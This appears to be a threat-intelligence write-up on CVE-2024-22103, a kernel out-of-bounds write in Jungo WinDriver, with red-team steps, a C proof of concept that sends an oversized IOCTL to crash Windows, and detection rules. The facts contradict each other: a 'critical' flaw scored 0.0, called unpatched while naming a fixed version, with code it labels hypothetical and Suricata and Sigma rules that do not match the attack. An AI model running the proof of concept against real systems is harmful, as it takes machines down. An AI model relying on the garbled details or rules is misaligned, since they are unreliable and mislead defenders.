CVE-2024-22103

Executive Summary

CVE-2024-22103 is a critical Out-of-Bounds Write vulnerability in Jungo WinDriver prior to version 12.6.0. This flaw allows a local attacker to trigger a Windows Blue Screen of Death (BSOD), leading to a Denial of Service (DoS). The vulnerability resides in the kernel-mode driver component of WinDriver, which is used to facilitate user-mode access to hardware devices. Successful exploitation requires local access to the system, but no authentication is needed beyond standard user privileges. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for systems using WinDriver in critical infrastructure or industrial control environments.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector provided)
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)
• Threat Level: Medium (due to local access requirement and unavailability of patch)

Deep Dive & Mechanics

The vulnerability is an Out-of-Bounds Write (CWE-787) in the Jungo WinDriver kernel driver. WinDriver allows user-mode applications to directly access hardware resources (I/O ports, memory, interrupts) by loading a kernel driver. The flaw occurs when the driver fails to properly validate the size of a buffer provided by a user-mode application before writing data to it. A local attacker can craft a malicious IOCTL (Input/Output Control) request that triggers a write operation beyond the allocated buffer boundaries. This corrupts kernel memory, leading to a system crash (BSOD) and denial of service.

The vulnerable code path is likely in the driver's IOCTL handler for memory-mapped I/O or DMA operations. The driver does not check the length of the user-supplied buffer against the actual allocated kernel buffer size, allowing an attacker to overwrite adjacent kernel structures.

Vulnerable vs. Patched Code

Vulnerable Code (WinDriver < 12.6.0):

// Hypothetical vulnerable IOCTL handler
NTSTATUS DriverIoctlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    ULONG inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    // No bounds check on inputBufferLength
    memcpy(kernelBuffer, inputBuffer, inputBufferLength); // Out-of-bounds write
    // ...
}

Patched Code (WinDriver >= 12.6.0):

// Hypothetical patched IOCTL handler
NTSTATUS DriverIoctlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    ULONG inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    // Proper bounds check
    if (inputBufferLength > MAX_KERNEL_BUFFER_SIZE) {
        Irp->IoStatus.Status = STATUS_BUFFER_OVERFLOW;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_BUFFER_OVERFLOW;
    }
    memcpy(kernelBuffer, inputBuffer, inputBufferLength);
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with Jungo WinDriver < 12.6.0 installed.
• User-level privileges (no admin required).
• Knowledge of the vulnerable IOCTL code.

Exploitation Steps:

1. Identify the WinDriver device object (e.g., \\.\WinDriver).
2. Open a handle to the device using CreateFile.
3. Craft an IOCTL request with an oversized input buffer (e.g., 0x1000 bytes when the kernel buffer is only 0x100 bytes).
4. Send the IOCTL using DeviceIoControl.
5. The driver writes beyond the kernel buffer, corrupting memory and causing a BSOD.

Example Code (C):

#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice = CreateFile("\\\\.\\WinDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device\n");
        return 1;
    }

    char buffer[0x1000] = {0};
    DWORD bytesReturned;
    BOOL result = DeviceIoControl(hDevice, 0x80002000, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL);
    if (!result) {
        printf("IOCTL failed: %d\n", GetLastError());
    } else {
        printf("IOCTL succeeded (unexpected)\n");
    }

    CloseHandle(hDevice);
    return 0;
}

Blue Team

Detection:

• Monitor for unusual IOCTL calls to WinDriver device objects.
• Look for processes with high IOCTL rates or large buffer sizes.
• Enable Driver Verifier to catch memory corruption.

Hunting:

• Search for Event ID 1001 (System Error) in Windows Event Log indicating a bugcheck.
• Analyze crash dumps for patterns of memory corruption near WinDriver buffers.

Mitigation:

• Restrict local access to systems running WinDriver.
• Use application whitelisting to prevent untrusted executables.
• Monitor for attempts to load the WinDriver driver (driver load events).

Indicators of Compromise (IOCs)

• File Hashes: None available (no known exploit samples).
• Registry Keys: HKLM\SYSTEM\CurrentControlSet\Services\windrvr*
• Driver Files: windrvr.sys (versions < 12.6.0)
• Event Logs: Event ID 1001 (BugCheck) with bugcheck code 0x000000D1 (DRIVER_IRQL_NOT_LESS_OR_EQUAL) or 0x00000050 (PAGE_FAULT_IN_NONPAGED_AREA).
• Network: No network indicators (local exploit only).

Detection Engineering

YARA Rule

rule CVE_2024_22103_WinDriver_BSOD {
    meta:
        description = "Detects WinDriver driver versions vulnerable to CVE-2024-22103"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $driver_name = "windrvr.sys" nocase
        $version_string = "12.5." nocase
        $version_string2 = "12.4." nocase
        $version_string3 = "12.3." nocase
    condition:
        $driver_name and ($version_string or $version_string2 or $version_string3)
}

Sigma Rule

title: WinDriver Out-of-Bounds Write Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of CVE-2024-22103 via large IOCTL buffers
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11  # FileCreate
        TargetFilename|contains: 'windrvr.sys'
    condition: selection
falsepositives:
    - Legitimate WinDriver updates
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-22103 WinDriver BSOD Exploit Attempt"; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Jungo WinDriver to version 12.6.0 or later.
2. If upgrade is not possible, restrict local access to the system.
3. Disable the WinDriver service if not required.

Long-term Measures:

• Implement application whitelisting to prevent untrusted binaries.
• Enable Driver Signature Enforcement to block unsigned drivers.
• Monitor for driver load events and IOCTL anomalies.
• Use endpoint detection and response (EDR) tools to detect BSOD patterns.

Workaround:

• Remove the WinDriver driver from the system if hardware access is not needed.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert